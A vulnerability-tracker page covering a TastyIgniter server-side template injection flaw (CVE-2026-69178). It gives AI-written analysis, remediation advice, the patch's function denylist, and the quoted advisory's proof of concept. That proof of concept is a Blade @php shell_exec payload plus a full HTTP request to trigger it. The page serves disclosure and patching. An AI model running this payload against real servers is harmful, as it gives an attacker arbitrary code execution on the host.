TastyIgniter CVE-2026-69178
CRITICALAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as admin with Admin.MailTemplates permission
-
DeliveryInject Blade @php directive into mail template body
-
ExploitSave template via POST /admin/mail_templates/edit/{id}
-
ExecutionTrigger render with onTestTemplate handler
-
ImpactExecute arbitrary PHP/shell as web server, full server compromise
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V1 - Encoding and Sanitization Template injection prevention
|
| Exploitation Conditions | Requires an authenticated admin account holding the Admin.MailTemplates permission (PR:H); anonymous or low-privileged users cannot reach the vector. The attacker edits a mail template's markup/body field with a Blade @php directive and triggers server-side evaluation by sending POST /admin/mail_templates/edit/{id} with the header X-IGNITER-REQUEST-HANDLER: onTestTemplate. The flaw exists because, before version 4.3.1, mail template content received no validation or sandboxing. Primary limiting factor: the need for high-privilege admin access with a specific permission - making this a post-authentication / compromised-or-malicious-admin issue rather than remotely exploitable against default anonymous access. Only installations running TastyIgniter < 4.3.1 are affected. |
| Impact | Signals are consistent and point to a genuine, high-severity but privilege-gated issue rather than a remotely wormable one. The CVSS 3.1 vector (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H = 9.1) shows network reachability and low complexity but requires PR:H - a high-privilege admin account holding the Admin.MailTemplates permission - so this is authenticated post-compromise code execution, not unauthenticated RCE. The vuln.today Decision label is act_now and a vendor patch (v4.3.1) is available, which supports prompt remediation. No CISA KEV listing is present in the input and no EPSS score was provided, so there is no evidence of active in-the-wild exploitation; the elevated priority rests on the full-RCE impact plus a published, detailed PoC in the GitHub Security Advisory (GHSA-743w-g9pf-8p94) rather than on mass exploitation probability. The main caveat: because exploitation presupposes an attacker who already holds a trusted admin role, real-world risk is dominated by insider/compromised-admin and privilege-escalation chains, not opportunistic internet scanning. The scope-changed (S:C) rating is a defensible judgement call - it reflects the template engine breaking out to OS-level command execution - but is not independently stated by the input beyond the vendor score. |
| Exploit ScenarioDerived | An attacker who already holds (or has compromised) an admin account with the Admin.MailTemplates permission edits a mail template, injecting a Blade directive such as |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Nov 25, 2026
Server-side template injection in the TastyIgniter mail template editor allows an authenticated administrator holding the Admin.MailTemplates permission to achieve arbitrary PHP execution by saving a Blade @php block into a template body and then triggering evaluation via a POST to /admin/mail_templates/edit/{id} carrying the header X-IGNITER-REQUEST-HANDLER: onTestTemplate. The prerequisite is significant - a high-privilege admin account (CVSS PR:H, Scope:Changed) - so the practical exposure is post-authentication abuse by a compromised or malicious administrator rather than anonymous remote compromise, though the resulting confidentiality, integrity and availability impact on the host is total. All installations below version 4.3.1 are affected; the vendor has released 4.3.1 with template sandboxing and content validation, the advisory contains public reproduction steps (a PoC reference, not verified as working exploit code), and active exploitation is not confirmed (no KEV entry). The vulnerability is tracked with a priority judgement of act_now and an assessed CVSS base of 9.1.
RemediationAI
Vendor-released patch: upgrade TastyIgniter to 4.3.1 or later - the release at https://github.com/tastyigniter/core/releases/tag/v4.3.1 contains commit 785aa660f77fee9a221857b8b1f11b68a35fd257, which adds the SafeMailTemplateContent validation rule to the markup, codeSection and settings fields of mail templates, layouts, pages and partials and extends the Pagic TemplateSandbox with assertSafe()/sanitizeMail() allowlists and a dangerous-function denylist, per advisory GHSA-743w-g9pf-8p94. Because exploitation requires the Admin.MailTemplates permission, the practical compensating control on versions that cannot be upgraded immediately is to restrict that permission to the smallest possible set of trusted administrator accounts and to review stored mail template, layout, page and partial content for @php blocks or other executable directives - noting that before 4.3.1 such content is neither rejected nor sandboxed on save, so manual removal is a clean-up measure and not a substitute for the 4.3.1 sandboxing and validation.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
TastyIgniter renders theme and mail content through its Pagic templating layer, a Blade-style engine that compiles directives such as @php into PHP before evaluation. CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine) is the root-cause class: before 4.3.1, the markup and codeSection fields of mail templates (and the equivalent fields on layouts, pages and partials) were accepted with only basic type/length validation and no sandbox, so a @php ... @endphp block stored in a template body was compiled and executed whenever that template was rendered - here forced through the onTestTemplate handler. The assessed vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H reflects network reachability of the admin panel, a high-privileged authenticated actor, no user interaction, and scope change because the executed code runs outside the template engine's intended privilege boundary. The upstream fix (commit 785aa660, released as v4.3.1) introduces a SafeMailTemplateContent validation rule applied to markup, codeSection and settings fields across mail template, layout, page and partial models, adds a Pagic SandboxProfile enum distinguishing Theme from Mail rendering, and extends TemplateSandbox with assertSafe()/sanitizeMail() enforcing allowlists of directives (if, foreach, partial, lang, etc.) and functions (setting, lang, media_thumb, date, count, trim, etc.) plus a denylist of execution, filesystem, encoding and callback functions (eval, system, exec, shell_exec, file_get_contents, base64_decode, call_user_func, unserialize, include, etc.).
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Admin-only mail-template editor forces PR:H; exploitation is reliable once authenticated (AC:L, UI:N); template escape to OS command execution justifies S:C with full C/I/A.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
Where: POST /admin/mail_templates/edit/{id} → body field Who can trigger: Any admin user with Admin.MailTemplates permission Impact: Arbitrary PHP execution on the server - full RCE
Details
The Mail templates is vulnerable to SSTI and did not perform an validation and sanitization.
PoC
- login as admin
- create new mail template with following command
@php echo shell_exec('echo "RCE Executed";id'); @endphp- save the request
- execute the request using
X-IGNITER-REQUEST-HANDLER: onTestTemplate
Request
POST /admin/mail_templates/edit/20 HTTP/1.1
Host: localhost:8888
Content-Length: 47
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-ch-ua-platform: "Linux"
X-CSRF-TOKEN: L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
X-IGNITER-REQUEST-PARTIALS:
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-IGNITER-REQUEST-HANDLER: onTestTemplate
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/admin/mail_templates/edit/20
Accept-Encoding: gzip, deflate, br
Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1c3akhoakpaUE9MM0ZUcW5tclBtZi80ZXExR3hpUm5hOU40UDl0NWNSWUpNUmNmU043Qmx4aEk4ZWxQQnZUanBPUHoiLCJtYWMiOiI5YmRkMGQ0M2I5M2EzYzRmNGJjOGU5ODhkY2M2MmU1MmI0ODYzYjc5YjQ2OTIzY2Y2NDJiZTRhZDBmOTQyNDUwIiwidGFnIjoiIn0%3D; remember_igniter-admin_d89cc32487145546aea44c0efb53f29c32adfc35=eyJpdiI6IjhvRGwrR1drU2JrTEhqcHh6QlNRdFE9PSIsInZhbHVlIjoiT2dpbUpNMGZkZzZUNVNZTFkyOFJtc25sZ2FXR3NxQ3JLMFBWUk5wNnl2WWtaNlpsNnBDYldFNkpMbEFKeVhnbjZWQW1MZzZPT3NjNlV0V3l5Z1NMVG9jamNFK0dzbFA4LzZhREFSNFFHQVNSTmJYOEFiOG0rZ0s2T1VQVmdCTlNrMVZ2dHBqMXMxazV5QWp2cXRCSjhoaU81aTlDeVBzaC9nbHlJRlM5SlYveDdTL2RUSG56NGZLQWNqOHVUTW5XalhjdWpwN1c3TjF6OGw3WVpNUndrZUY3dmRDQy8zR1J6MzJtaE81L1VxMD0iLCJtYWMiOiJmYzI5Y2E0ZTkyOTUyN2I5YmYzZjQzZWE0MDY2YTk0NTRkOWQ3MTEyODRmZjBjNzU2MGMyZWQwNmEwYWY5MDc1IiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlZpTmZQTTREUHhpTE44ZUgxZVZ5Zmc9PSIsInZhbHVlIjoiOTRWSUtCQjM2ZmRwdjA3MVI2aHBjM3dITDViL0t0ajlPd1dTQ0xCZ3IxVGNGQWk2bzlDUEtLeFRZTlBXZDc2V0tuREZWVTVBakJTRjU4d052aEZxeUEvcU1BVFhmMjlPY2RGOHdWY1p4d25saSs0UHovZzFQaU1FeU9vKy9tbEoiLCJtYWMiOiJlZmRhNjZmNWU0MmY2MjZjYzJjNjMyY2JlNTMwNmJjZDMxOTU3MzFkOWQ4MDZiOGVkM2I3ZmY4NTAxOTdhYTU5IiwidGFnIjoiIn0%3D; tastyigniter_session=eyJpdiI6IjRVU3c4T2Y2dnVhREtyZkxQZitPUHc9PSIsInZhbHVlIjoiWFFXaDVNbzJISlJZRjdRTVI3L2FNYUNxdklvVHZpb3FwNFA4M2J0aTBqNFI2VU8vL09lYWhlOVd3K1lhdFR5eEJTWUxxLzRHM0Z5KzlaUkhCOTdVMDEzc25PaWNzOE1yWW9PQkZSWHZZUVJGNnRkNGRuWVhvRC82RVl5YTU1ZnciLCJtYWMiOiI0ZjY2ODIxYWU1N2FkYmUxNGM5OWQ4ODU0MDU2YzRhODY1MmFlNmVkOTgwZTIzN2E0YjE0Y2MwMzg3NTc4MTZhIiwidGFnIjoiIn0%3D
Connection: keep-alive
_token=L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY- For the response, can check in the log.
<img width="1315" height="516" alt="image" src="https://github.com/user-attachments/assets/2b6a01bf-14d2-4b33-b1d4-d0e284b54107" />
Impact
If attacker have access to admin user, it is possible to abuse this vulnerability to gain access into the system.
Articles & Coverage 1
Technical POC Analysis
Bug class: CWE-1336, Improper Neutralization of Special Elements Used in a Template Engine (server-side template injection).
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
CVE-2026-69178 is a critical server-side template injection vulnerability in TastyIgniter's mail template editor that allows an authenticated administrator with the Admin.MailTemplates permission to execute arbitrary PHP code on the server. This means a compromised or malicious admin account could lead to full host compromise, affecting the confidentiality, integrity, and availability of the entire TastyIgniter installation and potentially any data or systems it connects to. Leadership should prioritize patching to version 4.3.1 to eliminate this high-impact post-authentication attack vector.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Affected Products (CPE)GitHub Advisory
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-743w-g9pf-8p94
NVD
CVE.org
Exploit-DB